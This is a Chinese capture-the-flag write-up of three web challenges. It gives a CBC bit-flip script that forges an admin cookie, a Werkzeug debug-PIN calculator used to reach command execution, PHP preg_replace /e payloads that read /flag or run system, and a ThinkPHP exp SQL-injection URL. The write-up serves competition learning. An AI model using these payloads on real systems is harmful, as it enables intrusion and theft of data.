本文最后更新于258 天前,其中的信息可能已经过时,如有错误请发送邮件到15036550479@163.com
filpPin
根据提示输入/hint得到源码
from flask import Flask, request, abort
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flask import Flask, request, Response
from base64 import b64encode, b64decode
import json
default_session = '{"admin": 0, "username": "user1"}'
key = get_random_bytes(AES.block_size)
print(key)
def encrypt(session):
iv = get_random_bytes(AES.block_size)
cipher = AES.new(key, AES.MODE_CBC, iv)
return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size)))
def decrypt(session):
raw = b64decode(session)
cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size])
try:
res = unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode('utf-8')
return res
except Exception as e:
print(e)
app = Flask(__name__)
filename_blacklist = {
'self',
'cgroup',
'mountinfo',
'env',
'flag'
}
@app.route("/")
def index():
session = request.cookies.get('session')
if session is None:
res = Response(
"welcome to the FlipPIN server try request /hint to get the hint")
res.set_cookie('session', encrypt(default_session).decode())
return res
else:
return 'have a fun'
@app.route("/hint")
def hint():
res = Response(open(__file__).read(), mimetype='text/plain')
return res
@app.route("/read")
def file():
session = request.cookies.get('session')
if session is None:
res = Response("you are not logged in")
res.set_cookie('session', encrypt(default_session))
return res
else:
plain_session = decrypt(session)
if plain_session is None:
return 'don\'t hack me'
session_data = json.loads(plain_session)
if session_data['admin'] :
filename = request.args.get('filename')
if any(blacklist_str in filename for blacklist_str in filename_blacklist):
abort(403, description='Access to this file is forbidden.')
try:
with open(filename, 'r') as f:
return f.read()
except FileNotFoundError:
abort(404, description='File not found.')
except Exception as e:
abort(500, description=f'An error occurred: {str(e)}')
else:
return 'You are not an administrator'
if __name__ == "__main__":
app.run(host="0.0.0.0", port=9091, debug=True)
分析可知需要session值中admin的值为1
百度大量数据 可知这是des的cbc模式 这类题有一种字节反转攻击漏洞
网上有脚本:
https://github.com/tamuctf/tamuctf-2024/tree/bd8e28c70054ee391b3d4bc2c845481ef0869fba/web/flipped
import requests
from base64 import b64decode, b64encode
url = "http://hnctf.yuanshen.life:32913/"
default_session = '{"admin": 0, "username": "user1"}'
res = requests.get(url)
c = bytearray(b64decode(res.cookies["session"])) #这里获取/时由默认session生成的密文进行字节偏转攻击的到{"admin": 1, "username": "user1"}的密文后复制给session访问/read就可以访问文件了
c[default_session.index("0")] ^= 1
evil = b64encode(c).decode()
res = requests.get(url + "/read?filename=", cookies={"session": evil})
# 打印服务器返回的响应内容
print(res.text)
因为debug开启/console时发现需要pin码所以
import hashlib
from itertools import chain
probably_public_bits = [
'ctfUser' # username 可通过/etc/passwd获取
'flask.app', # modname默认值
'Flask', # 默认值 getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/lib/python3.9/site-packages/flask/app.py' # 路径 可报错得到 getattr(mod, '__file__', None)
]
private_bits = [
'2485377892356', # /sys/class/net/eth0/address mac地址十进制
'9fd11036-6c2e-41c7-bb26-7d358f67007049c230154bd2c8681fdcf2764c8e8316fbc7cf36b92dfad90bf0b7612b483f4e'
# 9fd11036-6c2e-41c7-bb26-7d358f67007049c230154bd2c8681fdcf2764c8e8316fbc7cf36b92dfad90bf0b7612b483f4e
# 字符串合并:1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup
]
# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
'self',
'cgroup',
'mountinfo', 这三个黑名单self可以使用pid进程1来替代而cgroup文件可以访问cpuset来得到最后的参数
计算出pin码后即可使用os.popen().read来执行命令
发现没有权限 可以使用os.environ.keys 获取环境变量发现里面有GZCTF-FLAG 对应的值便是flag
Please_RCE_Me
get传参得到源码
<?php
if($_GET['moran'] === 'flag'){
highlight_file(__FILE__);
if(isset($_POST['task'])&&isset($_POST['flag'])){
$str1 = $_POST['task'];
$str2 = $_POST['flag'];
if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)){
die('hacker!');
}else{
preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);
}
}
}else{
echo "moran want a flag.</br>(?moran=flag)";
}
preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);
特性preg_replace(a/e,b,c);c中匹配到a的话则会执行b
思路清晰先令flag为=please_give_me_flaG
禁用了大量的执行函数还有arry_map和file_get_contents函数没被使用
file_get_contents
搭配print使用 payload
POST:flag=please_give_me_flaG&task=print(file_get_contents($_GET[1]))
GET: 1=/flag
//也可以使用十六进制绕过
flag=please_give_me_flaG&task=print(file_get_contents("\x2f\x66\x6c\x61\x67"));
当然不排除flag文件以其他名字
利用读取函数scandir即可查看
payload:
POST:flag=please_give_me_flaG&task=print_r(scandir('/')) //当然使用var_dump也可以
array_map():
array_map()需传入两个参数,第一个参数为使用的函数,第二个参数为一个数组,并且数组的数据为函数的参数,例如:
&arr = array('phpinfo()');
array_map('assert',&arr);
payload:task=array_map($_POST['a'],$_POST['b'])&flag=please_give_me_flaG&a=assert&b[]=phpinfo()
task=array_map($_POST['a'],$_POST['b'])&flag=please_give_me_flaG&a=system&b[]=ls
ez_tp
$name = I('GET.name');
$User = M("user");
if (waf()) {
$this->index();
} else {
$ret = $User->field('username,age')->where(array('username' => $name))->select();
echo var_export($ret, true);
绕过waf后 查看执行方法这里相等于查询的语句在名为username和age中 使用select()方法查询
参考资料exp注入
/index.php/home/index/h_n?name[0]=exp&name[1]=%3d%27test123%27%20union%20select%201,flag%20from%20flag
或者
http://hnctf.yuanshen.life:33285/index.php/?m=Home&c=Index&a=h_n&name[0]=exp&name[1]=%3d%27test123%27%20union%20select%201,flag%20from%20flag
注意一定要清除cookie内存以免触发cookie